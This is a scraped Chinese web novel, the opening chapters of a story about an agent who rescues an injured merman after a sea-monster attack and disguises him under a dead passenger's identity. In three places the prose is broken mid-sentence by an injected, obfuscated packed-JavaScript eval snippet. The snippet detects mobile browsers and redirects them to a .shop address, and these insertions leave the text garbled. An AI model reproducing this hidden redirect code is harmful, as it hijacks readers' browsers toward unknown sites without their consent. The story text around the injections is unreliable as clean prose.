《鲛人甩我后他揣崽求负责[GB]》 1. 第1章-已修 新北市畸变物管控所内,红灯闪烁,警笛齐鸣,各处工作人员焦急地跑进跑出,广播站不停播报着最新消息:“警报!今晚11点23分06秒,新北海域出现大量畸变物,已造成数十艘船只沉落,上千名人员伤亡……” “快快快,套上。” “赶紧出发!” 清缴队成员挤在更衣区,慌忙穿上繁琐的作战服。在其他人还和衣服缠斗个不停时,纪安早已穿戴整齐,风一般大踏步出去了。 “纪安,你可别死了。”赵莉紧跟而出,拍了下她的肩膀。 “不会。”纪安回头,留下一个微笑。 两人进了各自的作战机,“咻”一声飞了出去,消失在沉沉的夜空中。 几百艘作战机在空中陆陆续续疾驰而过,如同一场盛大的流星雨,赶赴事发地点。 “老天,这也太多了!”同行的队友发出惊叫。 “怪物就该进地狱。”赵莉冷笑,握紧利刃。 纪安只是沉默,面无表情地望着海面。 无数灯光闪闪烁烁,照射着海面的情形:船只几乎解体四散,七零八碎,或下沉,或漂浮;周围则是许多奇形怪状的生物,有翅膀强化盘旋滑翔的飞鱼、异常膨胀腕足飞舞的章鱼、长出人类头颅的鲤鱼、也有翅膀变成手臂的海鸥,正一只只从天上摔落……这是一场畸变物的狂欢。 “释放滞缓剂,开始清缴!” 总队发来命令。霎时间,每艘作战机都喷射出一股股淡紫色的烟雾——这是最新研制的武器,可以干扰畸变物起到阻缓行动的作用。同时,所有作战机俯冲而下,像突然掉落的陨石,砸向海面。 纪安熟练地操控机体,根据收到的指示,向东边撞在一起的两艘轮船冲去。左边的客船攀附着一只巨型化的章鱼,粗大的腕足从窗户探进,再卷着数人从另一侧的窗户挥舞出去,肆无忌惮地挤压、玩耍。人已断了气息。 藏在头盔后的脸波澜不惊。作战机绕着巨型章鱼飞了一圈,似乎在寻找什么。纪安盯着屏幕上传回的高清影像,最终将目光锁定在章鱼怪头部后方的位置。那里浮现着一个竖线状的银色印记,在黑夜中泛着微弱的光,显得诡异而神秘。 找到感染灶后,纪安开了舱门跳下,身上有钢索与作战机相连,她漂浮在半空,伺机逼近章鱼怪。察觉到身后有人,怪物顿时转换目标,丢开不成人样的躯壳,腕足猛地朝纪安攻来。 几道刀光闪过,腕足被齐根斩断。但还不到三秒,受损的部位竟立即恢复,重新长出了完整的腕足。纪安并不意外,握着钢刀一边狂切,一边踩着腕足借力攀上章鱼头部。 感染灶就在眼前,银线印记犹在泛光。纪安手起刀落,干脆地剜下了那块肉。随着喷溅而出的蓝色血液,章鱼怪软绵绵轰然倒下。 切下的肉巴掌大,纪安将它装进腰间的收容盒中,随后解开钢索,从窗户荡进船舱内。 里面尸体遍地,血肉模糊。到处是小型的人头鱼在啃食着。纪安面色不改,一路走,一路削,将它们的感染灶通通剔除收容,同时一一翻检着尸体,寻找可能存在的活人。 砰—— 搜完这条船,隔壁突地传来很大的动静。 纪安眼神一变,立马跳出窗户,翻进旁边那艘相撞的船内。刚进去,一股浓烈的味道顿时扑鼻而来。纪安吸吸鼻子,这味道像是……酒? 这是艘货船,目之所及,没有人,也没有畸变物。只有满地东倒西歪的酒桶,清冽的醇酒淌了一地。 纪安手指舒展,再握紧刀,一间间搜查过去,全都没有发现异常。 很快到了最后一间船舱。 纪安望着走道尽头的房间,放缓脚步,探手从背包里取出一瓶滞缓剂,拔开保险栓扔了进去。淡紫色的烟雾散开,借着掩护,纪安闪身而进。 然而脚步却是一顿,当场停在了原地。 纪安不禁睁大了眼。缥缈的紫雾之中,鲜血与清酒的混合液里,满地的碎玻璃上,倒着一个昏迷的伤痕累累的青年。 海藻似的黑发铺散开,与两侧的银白耳鳍对比鲜明。长发半掩面容,也丝丝缕缕挂在身前,和伤口渗透出的血液黏连着。他浑身都是伤,不住地往外淌血。单看上身,是个再正常不过的人类,然而接在腰腹以下的,却是一条庞大的血肉模糊的黑色鱼尾。他是“人鱼”。 足足愣了几分钟,纪安才反应过来,慌忙压制住过快的心跳,踩着血水跑过去,蹲下,拨开他脸上凌乱的黑发,指尖匆匆擦过他的眼尾,没看到期待中的泪痣后,眸中就微不可查地泄出一点失望。 但这点情绪转瞬即逝。 纪安从领口勾出一条红绳,下方缀着个扁扁的香袋,香袋绣着花草,边缘有些褪色磨损,大致是久远的物品了。她拉开抽绳,从中拣出一枚指盖大小的薄片,像鳞片,金色的。 随后用臂弯托住青年的后脑勺,指头掐住他的脸颊,迫使他张开嘴,将那枚金鳞塞进去。却在此时,昏迷的人倏然睁开眼睛,与纪安对上了视线。 那是双很漂亮的眼睛,银白色,就如同今夜的月光。沉睡的五官随着他的睁眼而鲜活起来,像被施了魔力。他漂亮得异于常人。纪安有一瞬间的恍神,直到指尖传来一阵刺痛。 他虽然虚弱,却用尽全力,咬住了闯入口中的手指,眸中凝着噬骨的恨意,正抬眉怒视纪安。 疼痛使她回过神来,纪安忙抽出手指,指套被咬开了,指头被戳出血洞,往外汩汩冒出血珠。若他力气再大点,此刻手指就该被他咬断了。 “别怕,我不是坏人。”纪安未因他的攻击而生气,反而柔声开口,试图平息他的怒火。 他却恍若未闻,依旧嫌憎地瞪着纪安,舌尖推动,将口中沾了陌生血液的金鳞吐出,继而喉间嘶嘶地发出森冷的怪叫,带着威胁与恐吓的意味。 “这是救你的药。”纪安看他依旧戒备,忙开口解释,并捞回血沫中的金鳞,抵上他唇边,还想给他塞进去。见状,他登时闭紧嘴巴,扭头避开,只丢给纪安一道眼风,冷厉的、威慑的、带着敌意的。 无视他的冷眼,纪安尝试多次无果,拿他没办法,只得用工具将金鳞碾成粉末,与水勾兑着灌进针筒内。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150101|150292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看纪安再一次逼近,他忙强撑着抬起鱼尾,用力朝她拍去。但他浑身遍布伤痕,鲜血直流,早已虚弱至极,没什么攻击力。 纪安单膝跪在他身侧,用一条腿就摁住了他乱甩的尾巴,一只手又擒住他两个手腕,压过头顶,轻松将他制住,随后举起针筒,往他的胳膊慢慢注入液体。 “很快就好了。”纪安低头望着他,轻声安抚。 他却是极力挣扎,眼神带着愤怒、羞辱、痛恨,瞪向压在身上的纪安。许是被逼急了,喉咙里终于发出沙哑的不太清晰的声音:“滚……滚下去……” “会说话了?”纪安欣喜地看向他,又喃喃重复,“很快就好了。” 液体缓缓注入。当最后一滴也进了体内,他顿时脸色一白,鱼尾猛地绷直,抬起,又重重落下。 纪安能感觉到他的尾巴在细细地颤抖,蒲扇般的尾鳍难耐地擦来扫去。没一会,他仰起脖颈,闷哼了一声,鱼尾就从中间开始裂开,分成了两半,又慢慢转化成两条光洁的人腿。 “顺眼多了。”见事情完成,纪安不再压着他,而是抱住他抖颤的身躯,轻轻拍打起后背,做安抚状,“好了,好了,你变回来了,现在没事了。” 虽然身上的伤口正在慢慢愈合,不再沁出血珠,但他还是疼得脸色煞白,冷汗淋漓,所有的感官都被下半身的刺痛占领,他整个人昏昏沉沉的,根本无法阻挡纪安的行为。 过了一段时间,他的两条腿已经转化完成,特殊的耳鳍也改变形状,变作人耳,甚至银白色的异瞳也改了颜色,成了常见的黑。他完全变成了人类。 纪安将他打量个遍,忽然想起什么,在他耳边留下一句:“等着。”就出了房间。 根据方才的搜查,她又跳到隔壁那艘血淋淋的船上,那边有几具与青年形貌相近的尸体。 纪安先是翻出他们的行李,摸出他们的身份证件,对比了一番,专门挑出一名背景简单的,名字是许复。 “对不住了。”敲定人选后,纪安一边道歉,一边扒下尸体的衣服。 再反手从随身背包里取出一个方盒,里面用某种药剂浸泡着一张质地仿似水母的面膜。她擦净许复脸部的血污,再贴上面膜。面膜紧贴着五官,慢慢定型,最终拓下了此人的外貌。 回到隔壁船,纪安立马将面膜贴上青年的脸。好在他目前还神志不清,只是偏了下头就不动了,任由纪安动作。 贴好后,纪安摸了把青年及腰的长发,想起方才的尸体,那人是碎短发,便抽出小刀割掉青年过长的发丝,再修剪出同款发型,一比一复原出许复的外形。 纪安抖开脏污的衣服,帮青年套上时,忽然发现他的手腕处,那里歪七扭八地刻着两个字,字迹青涩,像孩童的涂鸦。纪安眯起眼仔细辨认,依稀辨得是“祁洄”二字。 “祁洄?祁洄……”纪安喃喃着,总觉得这两个字格外地熟悉,却想不起究竟在哪听过。这是他的名字么? 不过这不重要。 纪安将他扛到背上,侧头看着他焕然一新的外貌,轻声说:“‘许复’,开启新生活吧。” 2. 第2章-已修 针对畸变物的清缴一直持续到第二天五六点。橘红的光晕在海平线上荡开,红日藏在底下,已迫不及待要出场了。 海边,纪安背着“许复”从作战机出来,解下腰间的收容盒,交给看管队,里面装的都是她整夜剜下的畸变物感染灶。 “纪安!你回来了!”看管车上的周列一看到纪安,就跳下车奔过来,走到近处,目光就疑惑地扫向她背上的人。 那是个昏迷的男人,垂着头,埋在她脖间。两条手臂被她抓着,防止滑落。身上的西装被血浸透,又破又脏,裤子因为膝盖屈起短了一截,露出了脚踝。他没有穿鞋,两只脚白白净净,漂亮得不像男人。 “他是谁?”周列有些不开心。 “伤患。”纪安不懂他突然的质问。 “只是伤患?”周列听了,转出笑容,跟上纪安的步伐,“我还以为你认识他——你要带他去观察室?我帮你背吧。” “不用。”纪安回绝,“你不是还要看管感染灶?” “没关系,我让小吴替我。”周列又凑近,“给我背吧,你忙了一夜,先去休息。”说着直接伸手,搭上祁洄的肩膀,准备接过来。 纪安扭过身,避开他的碰触,冷下声音再次强调,“不用,我要亲自带他去。” 周列连忙收回手,知道这是纪安开始不满的信号。她虽然向来客客气气的,但发起火来还是很吓人。周列不想惹怒她,但又咽不下这口气,只咕哝着声音说:“他有什么特别的,值得你亲自送?” 听了,纪安停下脚步,侧头看向祁洄的睡颜,忽然轻笑一声:“因为,他长得很好看。” “哈?”周列低头去研究祁洄的容貌,不服气地高喊,“这叫好看?明明是普通样貌,平平无奇,到街上一抓一大把,我都比他好看!” 纪安只笑笑不说话。 …… 畸变物最初是在八年前的红阳村里出现的。有一个渔民在自家渔场里发现了一只通体长满眼睛的螃蟹,刚联系来生物专家准备研究,整座渔场里的海产品就全都变异,向四处肆虐,吞食了红阳村大部分的人口,造成第一场悲剧。此后不久,其他区域也开始陆续出现变异动物。 为了应对这种生物危机,畸变物管控所就此成立,负责处理与畸变物有关的所有事项。 在此次事故中受伤的人员,都被统一安排在管控所内的伤员观察中心。这是为了察看是否有被畸变物感染的迹象。虽然自从畸变物现身以来,还没有出现过人类被感染的例子,但上层还是非常防范。 纪安属于畸变物管控所清缴队的成员,日常负责斩杀畸变物,并取回感染灶交予看管中心。她的岗位除了在畸变物现身时会比较忙之外,其余时间都相对清闲。 因此,清缴结束后,由于本次伤员较多,观察中心人手不足,就强制要求清缴队暂时顶上岗位。这个通知引得其他队员哀嚎连连,却正中纪安下怀。 祁洄被纪安送进观察室。观察室都是单间,只住一人,以玻璃墙隔绝。倘若有意外情况,也方便观察员及时发现。 纪安接管的是观察一区。这里共有二十名伤员,与她一同值班的是赵莉。她和纪安一样,刚连夜砍完一堆畸变物,现在正困得要死。 “眼睛已经睁不开了,我先睡了。”刚进值班室,赵莉就往桌面一趴,放心地睡起觉来。在大部分人的认知里,观察员这一工作并不重要。因为根本不会出事,人类并不会被畸变物感染,这是完全可以确定的。 纪安却不能像她一样放松。祁洄的房间特意被安排在值班室前面。她靠着玻璃墙,望向躺在床上的人。他还在昏睡当中,很安静。希望他醒来的时候也能这么安静,能尽快接受新身份,不要再像之前一样挣扎个不停。 想着,纪安又调出许复的信息再做一番确认:独生子,父母已逝,未婚,职业旅行家。背景简单,和“纪安”一样适合顶替。这是上天赐给他们这些“怪物”的新生。 …… “笨鱼!走这么慢,你还要不要去?” “要……” “那你走快点!” “……我的腿有点痛。” “真受不了你,上来,我背你。” …… 模糊的对话,褪色的画面,在祁洄被双腿的刺痛感唤醒之际,就如云烟般消散一空。 睁开眼,眼前是陌生的环境。 忽然,一张有些熟悉的脸闯入他的视线。她微微笑着,说:“你终于醒了。” 这个声音?船舱内发生的事立马涌回脑海,祁洄厌恶之心顿起,挥手就朝她打去。 “挺有力道,”纪安及时抓住他的手腕,用适中的手劲捏了捏,“看来恢复得不错。” 祁洄不悦地皱起眉,挣了几下没挣开,反而被抓得更劳了,便改换策略,习惯性要甩鱼尾,但一动下身,撕裂般的痛楚就朝他席卷而来。他不禁倒吸口凉气,颤着身,倒回床上。 “还疼?”纪安看着他骤变的脸色,就掀开一角被子,查看起他的身体,“哪里疼?” 此刻祁洄才看见自己的下身。鱼尾不见了,反而成了两条屈起的陌生的腿——就跟他们一样的腿。他怔愣住,满眼只余惊诧和迷茫。 注意到他的视线,纪安帮他拉下裤管,再定定看着他,指头摩挲着他手腕处的名字标记,意有所指地说:“许复先生,你获救了,已经回到正常的世界。这里没有怪物要害你,你很安全,不用害怕。等二十四小时的观察期结束,你就可以离开,过自己的生活,明白了?” 纪安的长篇大论并未唤回他的注意。祁洄一心只关注自己的下身。他抿紧唇,尝试挪动了下双腿,就又是一阵接一阵的尖锐的疼,辐射向全身,卸了他全部的力气。 祁洄白了脸,疼得不住喘息。显然,是她造成的。恶劣的两脚兽!睨向纪安的眼神更是充满了警惕和厌恶,他抬起下颌,带着怒气,用不太流畅的话语质问:“你……对我……做了什么……” 他的嗓子还不太好,声音虚弱,含糊。纪安凑近了,也听不大清,但看他的表现,便大致猜到他的问题,回答说:“你的腿没有受伤,不用担心。” 说着握住他的脚踝,刚一抬起,就听得床上的人痛哼一声,两手也猛然揪紧了床单。 纪安立马停住,盯住他煞白的面孔看了一会,就转身出去,开了止痛针回来,再按住他挣扎的胳膊,迅速给他注入。 针剂起了作用。纪安看他的脸色有些和缓,就俯身,在他耳边低声说:“起初是会有些疼,以后慢慢就不会了。” 当疼痛减弱,祁洄才找回自己的神志,又听得那人的声音,在耳边低语:“现在怎么样,还有哪里不舒服?可以告诉我。” 经她一语,祁洄这才发觉,他不再流血了。低头看向自己,陈年的伤口都已愈合,找不到一点疤痕,仿佛从一开始就没有受过伤。再凝神感受,紊乱失控、且被耗空的气味腺也开始平复。他的力量有恢复的趋势。 这是怎么回事? 除了下半身还在隐隐作痛,身体的其他部位却是在好转。不,不对,祁洄忽然抬手,摸上自己的脸。那里有种奇怪的黏糊感。 还没碰到,就又被纪安握住了手。 “许复先生,”纪安笑着开口,从口袋里掏出一面小镜,对着他照,“畸变物没有伤害到你的容貌,不用担心。” 那是张完全陌生的面孔。祁洄愣住,眨了下眼,镜中的人也跟着眨了下眼。 纪安趁机重申一遍:“许复先生,我把你从船舱里救出来了。这里是管控所观察中心,还有12个小时,你就可以离开,回归正常的生活。这段时间要乖乖听话,能明白吗?” 祁洄将视线移到纪安脸上,莫名地看她两眼,就抽出被握住的手。之后倒是沉默着,不知道在想些什么,好在情绪相对稳定,没再去碰脸。 纪安欣慰地笑了,拿过观察本写下“无感染迹象”的记录后,就指着他床头的呼叫铃,“有什么事可以拉这个,我会过来。” 说完就转去隔壁的房间做检查。 祁洄的目光一直跟随着纪安,探究着她的一举一动。厚重的玻璃阻挡了声音的传播,他不能知道她说了什么,逗得病床上的小孩咯咯直笑。她一间间巡视过去,对每个人都报以同样弧度的微笑,跟给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150102|150292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的微笑是一样的。 她究竟……有什么目的。 做完一轮例行检查,纪安回到值班室,赵莉还趴在桌子上睡得正香,嘴巴微张,口水滴到了枕着的胳膊上。 无奈地笑了笑,纪安抬头,就看到了对面的祁洄。他靠坐在床边,目不转睛地盯着她。那眼神,像初生的雏鸟凝望着母亲,像受惊的小鹿警惕着豺狼,也像猎手默默地观察着猎物。 纪安摩挲着包扎好的手指,想起他曾经的啃咬,嘴角就无意识地勾起一抹笑,心想:是个警惕心强,报复心也很强的美人。不过,总觉得还有点笨笨的。 …… 深夜12点,赵莉终于睡足,醒来抹了把嘴,就看到纪安靠墙站着,关注着对面那一排伤员。她总是这样,对待任何事都是认认真真的,根本不会偷懒。 赵莉认识纪安有五年了。纪安原本是在首都的管控所工作的,五年前才调到新北市,两人因此做了同事。 刚认识那会,赵莉对纪安的第一印象就是冷。她惯常穿着长风衣,两手插兜,浑身上下只露出半张脸。她将自己藏了起来,与其他人都保持着一定的距离。除了工作相关的事,任何聚餐、游玩之类的邀约都一概拒绝。久而久之,就没人再找她。她在清缴队里就彻底地独来独往了。 而赵莉之所以打定主意要跟纪安交朋友,只是因为一个普通的照面。那天,她急匆匆跑出值班室,没留意,就撞上了准备进门的纪安。跌倒之际,是纪安伸手拉住了她,并露出一个温柔的微笑,说:“小心点。” 明明是一件再寻常不过的事,可赵莉就一直记着,记得她那天的笑容。后来赵莉就开始留意她,发现,其实只要是跟她对话,她就会展露一个恰到好处的微笑,将身上那层拒人千里的霜气抚平。 注意到动静,纪安回过头,笑了笑:“你醒了?” 就像现在,赵莉看着她的笑脸在心里默默补充。随后伸了个大大的懒腰,笑说:“睡饱了,轮到你休息,接下来我看着。” “不用,我睡不着。”纪安又转向对面。 看她确实还是精神抖擞的,赵莉不禁咂舌:“你体力可真好。” 纪安看了眼时间:“到点了,要再检查一遍。我负责这边十个,你负责那边十个。” “行。”赵莉拿起记录本就走。 观察室内的伤员每隔两小时就要接受一次检查,主要查看皮肤是否出现竖线形状的印记。根据管控所对畸变物的研究结果,这块印记就是异变的标志。目前为止,这种畸变只存在于动物之间,通过接触传播。 迎着他的目光,纪安再进祁洄房间。四目相接,他不躲不避,仍探究地注视着她。纪安挑眉,笑着过去,公事公办地做完检查,边写记录,边抽空看他一眼,似是闲聊:“怎么一直看我?在想什么?” 听了,祁洄就移开视线,留给她一个冷峻的侧脸。 纪安也不怪,笑笑就出去了。 半个钟头后,纪安和赵莉都检查完毕,回到值班室。丢下记录本,赵莉歪在椅子上,感慨道:“幸好不传染人,不然就该是人间炼狱了。” 纪安默了一阵,忽然问:“如果会传染人,而且我被传染了,你会怎么做?” “啊?”赵莉皱起眉头,搓了搓手臂冒起的鸡皮疙瘩,“不要做这种恐怖的假设。” 话题以赵莉的抗拒结束。 …… 时间分秒过去。到了后半夜,观察中心更显寂静。祁洄打量四周,他在单独的空间内,四周是高驻的玻璃墙——和以前的处境别无二致。房间对面,是那两个人。一个又趴在桌面呼呼大睡;而她,则靠墙站着,双手交叉环在胸前,低着头,似乎也睡了。 祁洄摸了摸自己的腿,眼神更冷。她把自己变成这样,又带到这里来,究竟是为了什么……不管她的目的是什么,总归不会是好事。毕竟他们这种生物,贪婪、冷酷、残忍,会做出什么都不足为奇。她一定在酝酿着什么阴谋。 而且…… 祁洄攥紧拳头,眸中闪过切骨之恨。他还有仇要报,有亲族要寻回。想着,忍着疼,拖出两条僵硬的腿,就要离开。 3. 第3章-已修 祁洄抓紧床边的栏杆,学着纪安的姿势,慢慢站起。然而霎时袭来的刺痛使他骤然白了脸,他仿佛踩在刀尖之上。光是站立,就已耗尽他大半的力气。 他不由对这双腿更加厌恶。缓了好一阵,才咬牙迈出一步,可刚一挪脚,没控制好,膝盖一弯,他整个人就失去平衡,砰一声猝然跪倒。 “什么声音!”赵莉猛地惊醒,就看到纪安已经先一步过去了。仔细一看,原来是对面观察室里的人摔在了地上。纪安去扶他,却换来一顿推搡。 “喂!”赵莉撸起袖子就要去理论,“好心扶你还推人!” “没事。”纪安没有动怒,只抓住祁洄的手,使他无法攻击。不知是他力量耗尽的缘故,还是她本身就力气大,祁洄双手被她扣住,竟动不了分毫,只能任她对自己翻翻检检。 纪安检查着他的伤势,见只是膝盖和手肘磕红了些,没有大碍,才松了口气,转向祁洄,问道:“要去哪?你的脚还没完全恢复好,还不能轻易走动。” 那双漂亮的眼睛犹带怒意,恨恨地瞪了纪安一眼,就偏过头,去看自己的腿。软绵无力,不听使唤,没有任何用处。想着,厌恶的情绪就涌上眸底。 纪安留意着他的情绪变化,猜到他生气的缘由,就按住他的脸转过来,使他与自己面对面:“先生,你的腿伤只是暂时的,慢慢休养就会好,不用太担心。请相信我。” 祁洄抿唇不语,只横眉冷眼看她。纪安从他的眼神里,看到的依然是恨意和怀疑。他对自己还不信任。 “你是哑巴啊!”赵莉看了半天,对一声不吭还莫名一身刺的祁洄有些反感,“说什么都不应一声,好心当驴肝肺!” “只是在船难中受了惊吓,还没恢复过来。”纪安温和地笑笑,替他说话。 赵莉撇撇嘴,显然不吃这套,下巴努努,示意隔壁那些伤员,说:“他们可不这样。” 没有继续争辩,纪安勾住祁洄腿弯,要送他回床上。然而,触碰到他的身体后,才发觉,他两条腿已并到了一处,是融合的前兆。 表情微变,纪安脚下就变了方向,不顾他扭身挣扎,抱着就快步去了房内的卫生间,并找托词支开赵莉:“该检查了,其他人就交给你了。” 赵莉不情不愿地出去。 纪安刚掩上门,就听得布帛裂开的声音,紧接着,一条庞大的鱼尾就挤满了整个狭窄的卫生间。鱼尾乍然出现,祁洄还没来得及感受失而复得的喜悦,就被更为猛烈的剧痛击中。原本光洁的肌肤,又皮开肉绽来,裂开一道道可怖的伤口,鲜血流淌而出。又开始了。他并没有完全好。 一枚金鳞仅维持了一天,看来他的畸变程度比想象中要深。纪安一边思索,一边翻出领口下的香袋,又取出一枚,直接往祁洄口中塞。 “嘶——” 船舱内的情景再现。纪安挑挑眉头,无奈地拔出依旧被咬伤的手指,看着他再一次含怒瞪来。怎么总是咬人呢?又见他嘴唇翕动,像是要吐出金鳞的样子,忙抬手捂住他嘴巴,低声,用命令的口吻说:“咽下去。” 现在她可没有工具给他兑成药水。 “唔……”嘴巴被她死死捂住,祁洄又气又耻,他能感受到唇齿间还残留着她血液的气息,霸道地久久萦绕不去,清楚地提醒他再次被此人轻薄的事实。 “想恢复好就吞下去。”纪安抬高他的脖颈,看他的喉结,颤抖地上下滑动,也不知道是否真吃下去了。不敢松懈,就继续捂着。 口腔内分泌的津液渐多,终至,携着那枚异物,和她的血液,滑入食管。一进体内,便立即见效。血流不止的伤口又愈合了。 只是,祁洄不禁失控叫了一声,下身的鱼尾又硬生生裂开,化成了两条腿。刚变形,还站不稳,眼见就要摔倒,纪安忙一把将他捞到怀里。 裂尾的余痛还缠着他。纪安清晰地感受着他在怀中的瑟缩、颤栗,还有一声声压抑在唇齿边的喘息,脸颊便莫名有些发热。静了下心,过了会,他缓过神来,有了些气力,就立即推开纪安,自己踉跄了几步,幸而卫生间狭窄,他得以靠墙勉强站立着。 “好些了?”纪安打量着他。 如果说先前是恢复了一成,那么现在就是两成。是因为她给的那枚鳞片么?难道真如她所说的,是恢复的药?可是,她又为什么要让他恢复呢?究竟有什么目的?祁洄心里千头万绪,一时半会还理不清楚。 “在这等着,”纪安处理掉周围沾染到的血迹,才扭开门出去,“我给你拿条裤子。” 门把上蹭到她指头的血迹,留下斑驳的一道。祁洄望见,不由轻哼一声,带着丝泄恨的快感。她要是再来碰他,一定咬断她手指。 纪安拿了裤子回来,给他套好,再强制抱着他送到病床上,看他绷着张脸,就说:“以后多练习走路,会恢复正常的。” 赵莉检查完回来,纪安正好出来。她眼尖,马上看到纪安的手指染红了一片,急道:“怎么回事,你的手流了好多血。” 纪安捏紧了伤口:“昨天砍畸变物的时候不小心割到了,可能刚才又裂开了。” “快快快,我给你包扎。”赵莉扯着纪安进值班室,搬出药箱给她上药。 处理好后,想起祁洄磕肿的膝头,纪安又拿了消肿的药,回去要给他搽上。赵莉颇有些不爽,咕哝着吐槽:“那臭脾气亏你受得了,还这么关心他。” 出了值班室,纪安才用只有自己能听见的声音低语:“大概是感同身受吧……” …… 到了清晨,二十四小时观察期结束,这批伤员得以离开。纪安推了把轮椅,来到祁洄身边,看着他,笑问:“先生,可以邀请你跟我回家吗?” 出口的虽然是问句,但她却没有特意去等祁洄的答案,而是擅自主张,抱起他就放到轮椅上,仿佛他已答应。 祁洄虽有不悦,却也没有反抗。以他现在的状态,还不足以对抗敌人。不如暂且跟着她,看她到底要做什么。 …… 橘红的阳光斜洒在街头,照耀着来往的行人与过路的汽车。耳边有熟人相携逛街的谈话声、商店门口播放的悠扬乐声、偶尔呼啸而过的气鸣声……到处是生活的气息。 纪安握着方向盘,目视前方开着车,却用余光悄悄注视着坐在副驾驶位上的祁洄。 自从上车之后,他的目光就被窗外的事物吸引走了。他看路边闪过的银杏树,看闪烁的霓虹招牌,看舔着雪糕的小孩,看高高架起的电线上倏然飞走的鸟雀。他看一切闯入他视线的东西,像个懵懂的孩童,努力观察着世界。 纪安弯了弯嘴角,戴着手套的指尖在方向盘上跟着音乐节拍轻点着。车子拐过弯,一路前行,驶过道路右侧的念安花坊时,就在后视镜中看到,一个四十多岁的妇女忽然跑出来,手里抱着一束薰衣草,追着车挥舞起手。 车子立马倒回去,停在花店门口。下车之前,纪安跟祁洄解释:“等会,沈阿姨找我。” 纪安扶住跑得气喘吁吁的人,拍了拍她的后背帮忙顺气,“沈阿姨,怎么跑这么急,有什么事?” “上回你帮我搬了几箱货,我都还没来得及谢你,你就跑没影了,”花店老板沈兰说着,把薰衣草花束递给纪安,“知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150103|150292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道你喜欢这个,就一直想着送给你,刚刚碰巧看到你的车开过去,这不就追出来了。” “顺手而已,不是什么大事。”纪安捧着花轻嗅一番,展开笑颜,“很香,我很喜欢。” “喜欢就好,我今天包了饺子,留下来吃个饭再走。”沈兰热心地拉过纪安,这才发现车内还有一个男人,眉眼清秀,五官周正,只是沉默地望着她们。当即附耳,悄悄问纪安,“这,这是谁呀?” 纪安看着祁洄,笑回:“许复,我一个朋友。” 说完又跟祁洄介绍起沈兰:“这是花店的沈老板,人很好,经常关照我,你也可以喊她沈阿姨。” “你好,你好。”沈兰拿围裙擦了擦手,笑着要跟祁洄握个手以示友好。 祁洄却是盯着伸到面前的手,一声不吭,表情也没变一下。 纪安见状,握住沈兰的手,缓解尴尬:“他刚从船难中逃生,情绪还不太稳定,沈阿姨不要见怪。” “不怪,不怪!”沈兰一听,看向祁洄的眼神瞬间就充满了慈爱与怜悯。 两人正说着,后面又有一辆豪车缓缓停下。沈兰两眼一亮,笑着介绍:“是金喻恩小姐,她又来买花了。” 车门打开,边缘伸出一块斜板搭到地上,接着是一个高大的机器人推着一辆轮椅缓缓滑下。 轮椅上坐着一个三十多岁的女人,着装朴素,腿上盖着条毛毯,脸色是病态的白,却噙着抹浅笑,散发着一股坚韧又温和的气质。 “沈姐,最近有新花么?我想看看。”金喻恩开口,抬头看到沈兰旁边的纪安,又微微点点致意,“纪小姐,好久不见了。” “你们也认识?”沈兰有些惊讶。 “一面之缘。”金喻恩咳了一声,缓缓说起往事,“前段时间我的轮椅在路上坏了,是纪小姐路过,送我回的家,我留她小坐了片刻——有空的话,可以再来聚聚。” “自然,多谢美意。”纪安朝金喻恩笑了笑,再转向沈兰,跟她告别,“抱歉了,沈阿姨,我还有事,不能留下来陪你,我改天再来。” “诶,好。”沈兰藏起眼底的失落,带着笑目送纪安上车,又殷勤嘱咐,“开慢点,小心看路。” 离开之前,祁洄忽然注意到花店的玻璃窗,那里贴着一张大大的照片,下方配了些密密麻麻的字。照片上是一个六七岁的小男孩,脸色苍白,眉目温和,腼腆地笑着,露出一口白牙,衬得左眼尾下的黑痣格外显眼。 纪安将薰衣草花束放到中央扶手上,启动车子,注意到祁洄的视线,也跟着望向照片,眸底就不可抑制地涌起一层哀伤:“那是沈阿姨的孩子,叫沈念安,十七年前失踪了。沈阿姨一直在找他。” 祁洄收了目光,并不关心那是谁。 车子徐徐启动。忽地,他眉头蹙起,轻嗅一番,车内突然弥漫着一股奇怪的气味,臭臭的,闻着甚至还有点发晕。很快,他循着气味找到了来源,就是旁边那束淡紫色的花。 “薰衣草,很香,有安神作用。”祁洄还没开口,纪安就提前给他介绍了。 祁洄忙把头转向窗外,掩嘴干咳起来。 纪安奇怪地望向他,突然想起什么,就脱了外套包住花束,搁到后座去,再摇下车窗,开启空气循环系统,将浓郁的花香散出去。 “好点了吗?”纪安问。 祁洄咳得红了眼圈,等气味消散干净,才和缓了些,转头看向纪安。 她依旧直视着前方,明明注意力在外面的马路上,却又像是在时时关注着他,甚至对他一举一动背后的原因了如指掌。 她很奇怪。 4. 第4章-已修 